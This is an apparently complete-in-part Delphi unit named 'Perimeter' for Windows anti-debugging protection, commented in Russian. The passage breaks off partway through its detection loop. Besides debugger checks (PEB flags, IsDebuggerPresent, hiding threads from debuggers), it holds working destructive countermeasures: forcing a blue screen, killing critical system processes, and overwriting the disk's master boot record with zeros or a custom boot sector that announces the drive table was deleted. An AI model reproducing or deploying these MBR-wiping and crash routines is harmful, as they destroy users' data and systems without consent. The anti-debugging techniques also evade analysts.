Антиотладочная защита
unit Perimeter;
interface
//{$DEFINE SOUNDS}
//{$DEFINE USER_LOCK}
//{$DEFINE KERNEL_SUPPORT}
//{$DEFINE HARDCORE_MODE}
//{$DEFINE ACTIVATE_DEBUG_PRIVILEGE}
//{$DEFINE ACTIVATE_SHUTDOWN_PRIVILEGE}
uses
Windows,
SysUtils,
TlHelp32
{$IFDEF SOUNDS}, MMSystem{$ENDIF};
const
PERIMETER_MESSAGE_NUMBER = $FFF;
// Информация об антиотладочных функциях (True - функция нашла отладчик):
type
TAntiDebugFunctions = record
ASM_A : Boolean;
ASM_B : Boolean;
IDP : Boolean;
RDP : Boolean;
ODS : Boolean;
ZwQIP : Boolean;
ZwQSI : Boolean;
ZwClose : Boolean;
External : Boolean;
end;
// Выходные параметры:
type
TPerimeterInfo = record
PrivilegesActivated : Boolean; // Привилегии установлены
Checksum : LongWord; // Текущая контрольная сумма
DebuggerExists : Boolean; // Найден отладчик
BreakpointExists : Boolean; // Найден брейкпоинт
ROMFailure : Boolean; // Неверная контрольная сумма
DebuggerEmulation : Boolean; // Эмуляция отладчика
BreakpointEmulation : Boolean; // Эмуляция брейкпоинта
ElapsedTime : Single; // Время, затраченное на один такт
Functions : TAntiDebugFunctions; // Информация о каждой антиотладочной функции
end;
// Входные параметры:
type
TPerimeterSettings = record
CheckingsType : LongWord; // Тип проверок (например, ASM_A or ZwSIT)
ResistanceType : LongWord; // Тип противодействия (например, Notify)
// Внешнее событие при проверке (nil - отключено):
OnChecking : function(PerimeterInfo: TPerimeterInfo): Boolean;
// Внешнее событие при найденном отладчике (nil - отключено):
OnDebuggerFound : procedure(PerimeterInfo: TPerimeterInfo);
MessagesReceiverHandle : THandle; // Хэндл, получающий сообщения
MessageNumber : LongWord; // Номер сообщения, отправляемого хэндлу
Interval : THandle; // Интервал между сканированием
end;
var
PerimeterCRC: LongWord = $00000000;
// Константы-идентификаторы проверок:
const
LazyROM = 1;
ROM = 2;
ASM_A = 4;
ASM_B = 8;
IDP = 16;
RDP = 32;
ODS = 64; // Результат OutputDebugString - НЕНАДЁЖНО!!!
WINAPI_BP = 128;
ZwSIT = 256; // Отключение от отладчика
ZwQIP = 512;
ZwQSI = 1024; // Только Kernel-Mode отладчики
ZwClose = 2048; // Обработка ядерного исключения
// Константы механизма противодействия:
const
Nothing = 0;
ShutdownProcess = 1;
Notify = 2;
{$IFDEF USER_LOCK}
BlockIO = 4;
{$ENDIF}
{$IFDEF KERNEL_SUPPORT}
ShutdownPrimary = 8;
ShutdownSecondary = 16;
GenerateBSOD = 32;
HardBSOD = 64;
{$ENDIF}
{$IFDEF HARDCORE_MODE}
DestroyMBR = 128;
ReplaceMBR = 256;
{$ENDIF}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Константы для _Notify:
const
MESSAGE_UNKNOWN = 0;
MESSAGE_DEBUGGER = 1;
MESSAGE_BREAKPOINT = 2;
MESSAGE_ROM_FAILURE = 3;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Константы для PostMessage:
const
PM_START = $FF;
PM_STOP = $00;
DB_EXISTS = $FD;
DB_NOT_EXISTS = $0D;
DB_EMULATE = $ED;
BP_EXISTS = $FB;
BP_NOT_EXISTS = $0B;
BP_EMULATE = $EB;
{
wParam - информация об отладчике
lParam - информация о брейкпоинтах
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
const
MaximumRunTime: Single = 1.5; // Максимальное время выполнения одного цикла
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Запуск и остановка защиты:
function StartPerimeter(const PerimeterStartupData: TPerimeterSettings): Boolean;
procedure StopPerimeter;
// Расчёт CRC32:
procedure CRCInit;
function CRC32(InitCRC32: Cardinal; Buffer: Pointer; Size: Cardinal): Cardinal;
// Служебные функции - установка привилегий и завершение процессов:
function NTSetPrivilege(Privilege: string; Enabled: Boolean = True): Boolean;
function KillTask(ExeFileName: string): Integer;
// Функции противодействия:
procedure _ShutdownProcess; inline;
procedure _Notify(Handle: THandle = 0; MessageType: Byte = 0); inline;
{$IFDEF USER_LOCK}
procedure _BlockIO(Status: LongBool); inline;
{$ENDIF}
{$IFDEF KERNEL_SUPPORT}
procedure _ShutdownPrimary; inline;
procedure _ShutdownSecondary; inline;
procedure _GenerateBSOD(HardErrorCode: LongWord = 0); inline;
procedure _HardBSOD; inline;
{$ENDIF}
{$IFDEF HARDCORE_MODE}
procedure _DestroyMBR(ReplaceMBR: Boolean = False); inline;
{$ENDIF}
// Функции для управления Периметром:
function CalculatePerimeterCRC: LongWord;
function GetPerimeterInfo: TPerimeterInfo;
function GetPerimeterSettings: TPerimeterSettings;
procedure SetPerimeterSettings(NewPerimeterSettings: TPerimeterSettings);
function GeneratePerimeterSettings(
{=================================} CheckingsType: LongWord = ROM or
{ Welcome to the Matrix }LazyROM or
{ Everything that }ASM_A or
{ o o has a beginning }ASM_B or
{ =/+----- =+\ has an end, Neo (c) }IDP or
{ _//_______________/\___ }RDP or
{ | | |\__ }WINAPI_BP or
{ | HoShiMin Production | | |o\_ }ZwSIT or
{ |_______________________|=|_|__|) _o }ZwQIP or
{ /(@@)(@@)\ /(@@)\ |/(@@) o\+o\ }ZwQSI or
{============================================================}ZwClose;
{ } ResistanceType: LongWord = Notify;
{ _____(**)_ } MessagesReceiverHandle: THandle = 0;
{ __/_|___|_O_\_____ } MessageNumber: LongWord = PERIMETER_MESSAGE_NUMBER;
{ /_(QQ)\_POLICE/(Q)_\ } Interval: LongWord = 20
{=================================}): TPerimeterSettings;
procedure ChangeSettings(CheckingsType: LongWord; ResistanceType: LongWord);
procedure Emulate(Debugger: Boolean; Breakpoint: Boolean);
procedure ChangeImageSize(NewSize: LongWord);
procedure ErasePEHeader;
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
// Объявление типов из NTDDK:
type
POWER_ACTION = LongWord;
SYSTEM_POWER_STATE = LongWord;
NTSTATUS = LongWord;
PVOID = Pointer;
// Список параметров для первого способа выключения питания:
type
SHUTDOWN_ACTION = (
ShutdownNoReboot,
ShutdownReboot,
ShutdownPowerOff
);
// Список ВХОДНЫХ опций для функции BSOD'a: для генерации синего экрана
// нужна последняя (OptionShutdownSystem). Если в вызове функции указать не её, а другую -
// будет сгенерирован MessageBox с сообщением об ошибке, код которой
// будет указан первым параметром этой функции.
type
HARDERROR_RESPONSE_OPTION = (
OptionAbortRetryIgnore,
OptionOk,
OptionOkCancel,
OptionRetryCancel,
OptionYesNo,
OptionYesNoCancel,
OptionShutdownSystem
);
// Список ВЫХОДНЫХ опций для функции BSOD'a:
type
HARDERROR_RESPONSE = (
ResponseReturnToCaller,
ResponseNotHandled,
ResponseAbort,
ResponseCancel,
ResponseIgnore,
ResponseNo,
ResponseOk,
ResponseRetry,
ResponseYes
);
type
THREAD_INFORMATION_CLASS = (
ThreadBasicInformation,
ThreadTimes,
ThreadPriority,
ThreadBasePriority,
ThreadAffinityMask,
ThreadImpersonationToken,
ThreadDescriptorTableEntry,
ThreadEnableAlignmentFaultFixup,
ThreadEventPair,
ThreadQuerySetWin32StartAddress,
ThreadZeroTlsCell,
ThreadPerformanceCount,
ThreadAmILastThread,
ThreadIdealProcessor,
ThreadPriorityBoost,
ThreadSetTlsArrayAddress,
ThreadIsIoPending,
ThreadHideFromDebugger
);
PROCESS_INFORMATION_CLASS = (
ProcessBasicInformation,
ProcessQuotaLimits,
ProcessIoCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort,
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDefaultHardErrorMode,
ProcessIoPortHandlers,
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
ProcessDeviceMap,
ProcessSessionInformation,
ProcessForegroundInformation,
ProcessWow64Information,
ProcessImageFileName,
ProcessLUIDDeviceMapsEnabled,
ProcessBreakOnTermination,
ProcessDebugObjectHandle,
ProcessDebugFlags,
ProcessHandleTracing,
ProcessIoPriority,
ProcessExecuteFlags,
ProcessTlsInformation,
ProcessCookie,
ProcessImageInformation,
ProcessCycleTime,
ProcessPagePriority,
ProcessInstrumentationCallback,
ProcessThreadStackAllocation,
ProcessWorkingSetWatchEx,
ProcessImageFileNameWin32,
ProcessImageFileMapping,
ProcessAffinityUpdateMode,
ProcessMemoryAllocationMode,
ProcessGroupInformation,
ProcessTokenVirtualizationEnabled,
ProcessOwnerInformation,
ProcessWindowInformation,
ProcessHandleInformation,
ProcessMitigationPolicy,
ProcessDynamicFunctionTableInformation,
ProcessHandleCheckingMode,
ProcessKeepAliveCount,
ProcessRevokeFileHandles,
ProcessWorkingSetControl,
ProcessHandleTable,
ProcessCheckStackExtentsMode,
ProcessCommandLineInformation,
ProcessProtectionInformation,
MaxProcessInfoClass
);
SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemMirrorMemoryInformation,
SystemPerformanceTraceInformation,
SystemObsolete0,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation
);
SYSTEM_KERNEL_DEBUGGER_INFORMATION = record
DebuggerEnabled: Boolean;
DebuggerNotPresent: Boolean;
end;
// Номера критических ошибок для генерации BSOD'a:
const
TRUST_FAILURE = $C0000250;
LOGON_FAILURE = $C000006C;
HOST_DOWN = $C0000350;
FAILED_DRIVER_ENTRY = $C0000365;
NT_SERVER_UNAVAILABLE = $C0020017;
NT_CALL_FAILED = $C002001B;
CLUSTER_POISONED = $C0130017;
FATAL_UNHANDLED_HARD_ERROR = $0000004C;
STATUS_SYSTEM_PROCESS_TERMINATED = $C000021A;
// ntdll.dll:
// Завершение процесса:
procedure LdrShutdownProcess; stdcall; external 'ntdll.dll';
function ZwTerminateProcess(Handle: LongWord; ExitStatus: LongWord): NTStatus; stdcall; external 'ntdll.dll';
{$IFDEF KERNEL_SUPPORT}
// 1й способ отключения питания:
function ZwShutdownSystem(Action: SHUTDOWN_ACTION): NTSTATUS; stdcall; external 'ntdll.dll';
// 2й способ отключения питания:
function ZwInitiatePowerAction (
SystemAction: POWER_ACTION;
MinSystemState: SYSTEM_POWER_STATE;
Flags: ULONG;
Asynchronous: BOOL
): NTSTATUS; stdcall; external 'ntdll.dll';
// BSOD:
function ZwRaiseHardError(
ErrorStatus: NTSTATUS;
NumberOfParameters: ULONG;
UnicodeStringParameterMask: PChar;
Parameters: PVOID;
ResponseOption: HARDERROR_RESPONSE_OPTION;
PHardError_Response: Pointer
): NTSTATUS; stdcall; external 'ntdll.dll';
{$ENDIF}
function ZwQueryInformationProcess(
ProcessHandle: THANDLE;
ProcessInformationClass: PROCESS_INFORMATION_CLASS;
ProcessInformation: PVOID;
ProcessInformationLength: ULONG;
ReturnLength: PULONG
): NTSTATUS; stdcall; external 'ntdll.dll';
function ZwQuerySystemInformation(
SystemInformationClass: SYSTEM_INFORMATION_CLASS;
SystemInformation: PVOID;
SystemInformationLength: ULONG;
ReturnedLength: PULONG
): NTSTATUS; stdcall; external 'ntdll.dll';
function ZwSetInformationThread(
ThreadHandle: THANDLE;
ThreadInformationClass: THREAD_INFORMATION_CLASS;
ThreadInformation: PVOID;
ThreadInformationLength: ULONG
): NTSTATUS; stdcall; external 'ntdll.dll';
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// kernel32:
function IsDebuggerPresent: Boolean; stdcall; external 'kernel32.dll';
function CheckRemoteDebuggerPresent(Handle: THandle; out RemoteDebuggerPresent: LongBool): LongBool; stdcall; external 'kernel32.dll';
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
{$IFDEF USER_LOCK}
// user32.dll:
function BlockInput(Status: LongBool): LongBool; stdcall; external 'user32.dll';
{$ENDIF}
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
const
SystemProcesses: array [0..3] of string = (
'smss.exe',
'csrss.exe',
'wininit.exe',
'winlogon.exe'
);
ErrorCode: array [0..8] of LongWord = (
TRUST_FAILURE,
LOGON_FAILURE,
HOST_DOWN,
FAILED_DRIVER_ENTRY,
NT_SERVER_UNAVAILABLE,
NT_CALL_FAILED,
CLUSTER_POISONED,
FATAL_UNHANDLED_HARD_ERROR,
STATUS_SYSTEM_PROCESS_TERMINATED
);
{$IFDEF HARDCORE_MODE}
BootFile: array [0..511] of byte = (
$B4, $09, $BA, $1A, $01, $CD, $21, $B0, $B6, $B8, $FF, $FF, $E7, $43, $B8, $90,
$1F, $E7, $42, $E5, $61, $0C, $03, $E6, $61, $C3, $0D, $0A, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $48, $20, $48, $0D, $0A, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20,
$48, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $20, $48, $20, $20, $20, $20, $20, $48,
$0D, $0A, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $48, $20, $20, $20, $20, $20, $20, $20, $48, $0D, $0A, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $48, $20,
$20, $20, $20, $49, $20, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $48, $20, $20, $20, $20, $49,
$48, $49, $20, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $48, $20, $20, $20, $20, $49, $48, $48, $48,
$49, $20, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $48, $20, $20, $20, $20, $20, $20, $20, $48, $20, $20,
$20, $20, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $48, $20, $20, $20, $20, $20, $20, $20, $20, $48, $20, $20,
$20, $20, $20, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $48, $20, $48, $20, $48, $20, $48, $20, $48, $20, $48, $20,
$48, $20, $48, $20, $48, $20, $48, $20, $48, $0D, $0A, $0D, $0A, $22, $50, $65,
$72, $69, $6D, $65, $74, $65, $72, $22, $20, $4C, $6F, $77, $2D, $4C, $65, $76,
$65, $6C, $20, $44, $65, $66, $65, $6E, $63, $65, $20, $53, $79, $73, $74, $65,
$6D, $20, $64, $65, $6C, $65, $74, $65, $64, $0D, $0A, $79, $6F, $75, $72, $20,
$62, $6F, $6F, $74, $2D, $73, $70, $61, $63, $65, $20, $61, $6E, $64, $20, $74,
$61, $62, $6C, $65, $20, $6F, $66, $20, $64, $72, $69, $76, $65, $73, $0D, $0A,
$64, $75, $65, $20, $74, $6F, $20, $70, $72, $6F, $74, $65, $63, $74, $20, $73,
$65, $6C, $66, $20, $70, $72, $6F, $67, $72, $61, $6D, $20, $66, $72, $6F, $6D,
$20, $64, $65, $62, $75, $67, $67, $69, $6E, $67, $21, $0D, $0A, $0D, $0A, $59,
$6F, $75, $20, $73, $68, $6F, $75, $6C, $64, $20, $72, $65, $69, $6E, $73, $74,
$61, $6C, $6C, $20, $79, $6F, $75, $72, $20, $4F, $53, $2E, $0D, $0A, $24, $00
);
{$ENDIF}
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
{$IFDEF SOUNDS}
{$R SOUNDS.RES}
{$ENDIF}
implementation
var
PerimeterSettings : TPerimeterSettings;
PerimeterInfo : TPerimeterInfo;
Active : Boolean = False;
EmulateDebugger : Boolean = False;
EmulateBreakpoint : Boolean = False;
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
var
CRCTable: array [0..255] of Cardinal;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function CRC32(InitCRC32: Cardinal; Buffer: Pointer; Size: Cardinal): Cardinal;
asm
test edx, edx
jz @Ret
neg ecx
jz @Ret
sub edx, ecx
push ebx
xor ebx, ebx
@Next:
mov bl, al
xor bl, byte [edx + ecx]
shr eax, 8
xor eax, dword [CRCTable + ebx * 4]
inc ecx
jnz @Next
pop ebx
xor eax, $FFFFFFFF
@Ret:
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure CRCInit;
var
C: Cardinal;
I, J: Integer;
begin
for I := 0 to 255 do
begin
C := I;
for J := 1 to 8 do
if Odd(C) then
C := (C shr 1) xor $EDB88320
else
C := (C shr 1);
CRCTable[I] := C;
end;
end;
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
// Установка привилегий
function NTSetPrivilege(Privilege: string; Enabled: Boolean = True): Boolean;
var
hToken: THandle;
TokenPriv: TOKEN_PRIVILEGES;
PrevTokenPriv: TOKEN_PRIVILEGES;
ReturnLength: Cardinal;
begin
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
begin
if LookupPrivilegeValue(nil, PChar(Privilege), TokenPriv.Privileges[0].Luid) then
begin
TokenPriv.PrivilegeCount := 1;
case Enabled of
True: TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
False: TokenPriv.Privileges[0].Attributes := 0;
end;
ReturnLength := 0;
PrevTokenPriv := TokenPriv;
AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(PrevTokenPriv),
PrevTokenPriv, ReturnLength);
end;
CloseHandle(hToken);
end;
Result := GetLastError = ERROR_SUCCESS;
end;
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
function KillTask(ExeFileName: string): Integer;
var
Status: BOOL;
ToolHelpHandle: THandle;
ProcessEntry: TProcessEntry32;
begin
Result := 0;
ToolHelpHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
ProcessEntry.dwSize := Sizeof(ProcessEntry);
Status := Process32First(ToolHelpHandle,ProcessEntry);
while integer(Status) <> 0 do
begin
if
((UpperCase(ExtractFileName(ProcessEntry.szExeFile)) = UpperCase(ExeFileName))
or
(UpperCase(ProcessEntry.szExeFile) = UpperCase(ExeFileName)))
then
Result := Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, FALSE, ProcessEntry.th32ProcessID), 0));
Status := Process32Next(ToolHelpHandle, ProcessEntry);
end;
CloseHandle(ToolHelpHandle);
end;
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
procedure _ShutdownProcess; inline;
begin
LdrShutdownProcess;
ZwTerminateProcess(OpenProcess(PROCESS_TERMINATE, FALSE, GetCurrentProcessId), 0);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure _Notify(Handle: THandle = 0; MessageType: Byte = 0); inline;
begin
{$IFDEF SOUNDS}
PlaySound('ALERT', 0, SND_RESOURCE or SND_ASYNC or SND_LOOP);
{$ENDIF}
case MessageType of
MESSAGE_UNKNOWN: MessageBox(Handle, 'Внутренняя ошибка! Продолжение невозможно!', 'Угроза внутренней безопасности!', MB_ICONERROR);
MESSAGE_DEBUGGER: MessageBox(Handle, 'Обнаружен отладчик! Продолжение невозможно!', 'Угроза внутренней безопасности!', MB_ICONERROR);
MESSAGE_BREAKPOINT: MessageBox(Handle, 'Обнаружен брейкпоинт! Продолжение невозможно!', 'Угроза внутренней безопасности!', MB_ICONERROR);
MESSAGE_ROM_FAILURE: MessageBox(Handle, 'Несоответствие контрольных сумм! Продолжение невозможно!', 'Угроза внутренней безопасности!', MB_ICONERROR);
end;
_ShutdownProcess;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
{$IFDEF USER_LOCK}
procedure _BlockIO(Status: LongBool); inline;
begin
BlockInput(Status);
end;
{$ENDIF}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
{$IFDEF KERNEL_SUPPORT}
procedure _ShutdownPrimary; inline;
begin
ZwShutdownSystem(SHUTDOWN_ACTION(0));
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure _ShutdownSecondary; inline;
begin
ZwInitiatePowerAction(4, 6, 0, TRUE);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure _GenerateBSOD(HardErrorCode: LongWord = 0); inline;
var
HR: HARDERROR_RESPONSE;
begin
if HardErrorCode = 0 then
ZwRaiseHardError(HOST_DOWN, 0, nil, nil, HARDERROR_RESPONSE_OPTION(6), @HR)
else
ZwRaiseHardError(HardErrorCode, 0, nil, nil, HARDERROR_RESPONSE_OPTION(6), @HR);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure _HardBSOD; inline;
var
I: LongWord;
ProcessesCount: LongWord;
begin
ProcessesCount := Length(SystemProcesses) - 1;
for I := 0 to ProcessesCount do KillTask(SystemProcesses[I]);
end;
{$ENDIF}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
{$IFDEF HARDCORE_MODE}
procedure _DestroyMBR(ReplaceMBR: Boolean = False); inline;
var
hDrive: THandle;
Data: Pointer;
WrittenBytes: LongWord;
begin
hDrive := CreateFile('\\.\PhysicalDrive0', GENERIC_ALL, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if ReplaceMBR then
begin
WriteFile(hDrive, BootFile, 512, WrittenBytes, nil);
end
else
begin
GetMem(Data, 512);
FillChar(Data^, 512, #0);
WriteFile(hDrive, Data^, 512, WrittenBytes, nil);
FreeMem(Data);
end;
CloseHandle(hDrive);
end;
{$ENDIF}
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
function IsNumberContains(Number, SubNumber: LongWord): Boolean; inline;
begin
Result := (Number and SubNumber) = SubNumber;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure PerimeterThread;
// Функция противодействия:
procedure EliminateThreat; inline;
begin
with PerimeterSettings do
begin
if @OnDebuggerFound <> nil then OnDebuggerFound(PerimeterInfo);
if IsNumberContains(ResistanceType, ShutdownProcess) then
_ShutdownProcess;
if IsNumberContains(ResistanceType, Notify) then
begin
if PerimeterInfo.DebuggerExists then
_Notify(PerimeterSettings.MessagesReceiverHandle, MESSAGE_DEBUGGER);
if PerimeterInfo.BreakpointExists then
_Notify(PerimeterSettings.MessagesReceiverHandle, MESSAGE_BREAKPOINT);
if PerimeterInfo.ROMFailure then
_Notify(PerimeterSettings.MessagesReceiverHandle, MESSAGE_ROM_FAILURE);
_Notify(PerimeterSettings.MessagesReceiverHandle, MESSAGE_UNKNOWN);
end;
{$IFDEF USER_LOCK}
if IsNumberContains(ResistanceType, BlockIO) then
_BlockIO(True);
{$ENDIF}
{$IFDEF KERNEL_SUPPORT}
if IsNumberContains(ResistanceType, ShutdownPrimary) then
_ShutdownPrimary;
if IsNumberContains(ResistanceType, ShutdownSecondary) then
_ShutdownSecondary;
if IsNumberContains(ResistanceType, GenerateBSOD) then
_GenerateBSOD(Random(Length(ErrorCode) - 1));
if IsNumberContains(ResistanceType, HardBSOD) then
_HardBSOD;
{$ENDIF}
{$IFDEF HARDCORE_MODE}
if IsNumberContains(ResistanceType, DestroyMBR) then
_DestroyMBR;
{$ENDIF}
end;
end;
var
AsmFunctionValue: LongWord;
RemoteDebugger: LongBool;
DebugPort: THandle;
NoDebugInherit: LongBool;
DebugObjectHandle: THandle;
KernelDebuggerInfo: SYSTEM_KERNEL_DEBUGGER_INFORMATION;
T1, T2, iCounterPerSec: Int64;
DebuggerState, BreakpointState: LongWord;
const
DebugString: PChar = 'СЗПУ "Периметр" :: Веха #1';
begin
// Посылаем сообщение о запуске Периметра:
PostMessage(PerimeterSettings.MessagesReceiverHandle, PerimeterSettings.MessageNumber, PM_START, PM_START);
while Active do
begin
// Чистим структуру с информацией:
FillChar(PerimeterInfo, SizeOf(PerimeterInfo), #0);
DebuggerState := $0D;
BreakpointState := $0B;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Засекаем время:
QueryPerformanceFrequency(iCounterPerSec);
QueryPerformanceCounter(T1);
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Эмуляция отладчика:
if EmulateDebugger then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.DebuggerEmulation := True;
EliminateThreat;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Эмуляция брейкпоинта:
if EmulateBreakpoint then
begin
PerimeterInfo.BreakpointExists := True;
PerimeterInfo.BreakpointEmulation := True;
EliminateThreat;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Проверяем CRC:
if IsNumberContains(PerimeterSettings.CheckingsType, ROM) then
begin
PerimeterInfo.Checksum := CalculatePerimeterCRC;
if PerimeterInfo.Checksum <> PerimeterCRC then
begin
PerimeterInfo.ROMFailure := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// IDP:
if IsNumberContains(PerimeterSettings.CheckingsType, IDP) then
begin
if IsDebuggerPresent then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.IDP := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// RDP:
if IsNumberContains(PerimeterSettings.CheckingsType, RDP) then
begin
CheckRemoteDebuggerPresent(GetCurrentProcess, RemoteDebugger);
if RemoteDebugger then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.RDP := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ODS:
if IsNumberContains(PerimeterSettings.CheckingsType, ODS) then
begin
asm
mov eax, $FFFFFFFF
push DebugString
call OutputDebugString
mov AsmFunctionValue, eax
end;
if AsmFunctionValue = 0 then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ODS := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Отключаем поток от отладчика:
if IsNumberContains(PerimeterSettings.CheckingsType, ZwSIT) then
begin
ZwSetInformationThread(GetCurrentThread, ThreadHideFromDebugger, nil, 0);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ASM_A:
if IsNumberContains(PerimeterSettings.CheckingsType, ASM_A) then
begin
asm
mov eax, fs:[30h]
mov eax, [eax + 2]
add eax, 65536
// EAX <> 0 -> PerimeterInfo.DebuggerExists
mov AsmFunctionValue, eax
end;
if AsmFunctionValue <> 0 then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ASM_A := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ASM_B:
if IsNumberContains(PerimeterSettings.CheckingsType, ASM_B) then
begin
asm
mov eax, fs:[30h]
mov eax, [eax + 68h]
and eax, 70h
// EAX <> 0 -> PerimeterInfo.DebuggerExists
mov AsmFunctionValue, eax
end;
if AsmFunctionValue <> 0 then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ASM_B := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ZwQIP:
if IsNumberContains(PerimeterSettings.CheckingsType, ZwQIP) then
begin
// 1й способ:
